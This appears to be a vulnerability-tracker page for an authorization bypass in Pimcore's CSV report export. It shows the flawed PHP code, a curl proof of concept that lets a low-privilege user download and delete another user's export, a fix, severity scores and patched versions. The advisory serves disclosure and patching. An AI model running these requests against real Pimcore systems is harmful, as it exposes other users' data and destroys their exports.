CVE Watchtower

CVE-2026-119792pimcore/pimcore >= 12.3.0, Authorization Bypass Through User-Controlled Key

NVD

Vulnerability Summary

Summary `PimcoreCu customReportsBundle`'s CSV export flow generates a temp file with a predictable name (`uniqid()`-based) and returns the filename to the requester. The `download-csv` endpoint accepts that filename from any `reports` user without verifying ownership. A low-privilege attacker who learns the filename can download the export (information disclosure) and simultaneously destroy it for the original requester (denial of service). Details File: `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php` `createCsvAction` (line 382–406) generates the temp file and returns its basename to the client: ```php $exportFile = PIMCORE_SYSTEM_TEMP_DIRECTORY . '/report-export-' . uniqid() . '.csv'; // ... writes data ... return new JsonResponse(['exportFile' => basename($exportFile), ...]); ``` `downloadCsvAction` (line 413–428) accepts the filename from a query parameter with no session check: ```php $exportFile = $this->getTemporaryFileFromFileName($exportFile); // basename() + temp dir $response = new BinaryFileResponse($exportFile); $response->deleteFileAfterSend(true); // ← destroys the file after serving return $response; ``` `getTemporaryFileFromFileName` (line 331) only enforces `.csv` extension — no user, session, or ownership binding: ```php $exportFileName = basename($exportFileName); // strips path separators return PIMCORE_SYSTEM_TEMP_DIRECTORY . '/' . $exportFileName; ``` Any `reports` user who knows (or receives) the filename returned by another user's `create-csv` call can download and destroy that export. PoC Test accounts: - Victim: `admin` / `admin` (triggers the CSV export) - Attacker: `reportsuser` / `Reports1234!` (non-admin, `reports` permission only) Step 1 — admin exports the users report (contains usernames and permissions): ```cmd curl -s -u admin:admin "http://localhost:8088/admin/bundle/customreports/custom-report/create-csv?name=wfg-users-report&offset=0&headers=true&drillDownFilters={}" ``` Response: `{"exportFile":"report-export-6a2240bf6f9d1.csv","offset":1,"progress":1,"finished":true}` Step 2 — reportsuser downloads admin's export using only the filename: ```cmd curl -s -u reportsuser:Reports1234! "http://localhost:8088/admin/bundle/customreports/custom-report/download-csv?exportFile=report-export-6a2240bf6f9d1.csv" ``` Response (attacker receives admin's data): ``` id;name;email;permissions;admin 0;system;;;1 1;admin;;;1 2;testuser;;redirects;0 3;reportsuser;;reports;0 ``` Step 3 — admin tries to download own export — file is gone: ```cmd curl -s -u admin:admin "http://localhost:8088/admin/bundle/customreports/custom-report/download-csv?exportFile=report-export-6a2240bf6f9d1.csv" ``` Response: `500 Internal Server Error` — `deleteFileAfterSend(true)` already deleted the file. Impact A user with `reports` permission (a role commonly delegated to analysts or non-admin staff) can: 1. Information disclosure — download any other user's in-progress CSV export, obtaining report data they may not have generated themselves. Reports can contain sensitive business data (user tables, order records, financial figures). 2. Denial of service — the `deleteFileAfterSend(true)` flag means downloading another user's file consumes and destroys it. The original requester's multi-page export is silently lost. 3. Weak-predictability amplification — `uniqid()` is microsecond-based. On a shared server, an attacker who polls `create-csv` for their own reports can narrow the timestamp window and brute-force filenames from concurrent exports. Fix Bind the export file to the authenticated session before returning the name to the client: ```php // create-csv: store mapping server-side $token = bin2hex(random_bytes(16)); $SESSION['csv_export' . $token] = $exportFile; return new JsonResponse(['exportFile' => $token, ...]); // download-csv: resolve through session, never accept a raw path $exportFile = $SESSION['csv_export' . $token] ?? null; if (!$exportFile || !file_exists($exportFile)) { throw new FileNotFoundException(); } ``` Alternatively, prefix the temp filename with the authenticated user's ID and verify ownership at download time. --- If possible, please apply for a CVE when publishing.
Severity Level
MEDIUM(5.9)
Published Date
Nov 18, 2026
Last Modified
Nov 18, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The system does not prevent one user from accessing another user data or record by modifying the key value identifying the data.
CVSS v3.1 Base Metrics — Score 5.9
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:L
Attack VectorNetwork
Attack ComplexityHigh
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityNone
AvailabilityLow

Affected & Patched Versions

Affected Versions
  • pimcore/pimcore >= 12.3.0, <= 12.3.11
  • pimcore/pimcore >= 2026.1.0, <= 2026.2.3
Patched Versions
  • pimcore/pimcore 12.3.12
  • pimcore/pimcore 2026.2.4

What to do

Fix it during your normal patch cycle. No exploitation is confirmed yet.

  1. Check whether you run pimcore/pimcore >= 12.3.0, and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Nov 18, 2026Published
  • Nov 18, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new pimcore/pimcore >= 12.3.0, CVEsYou are reading CVE-2026-119792. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 23, 2026 02:01 UTC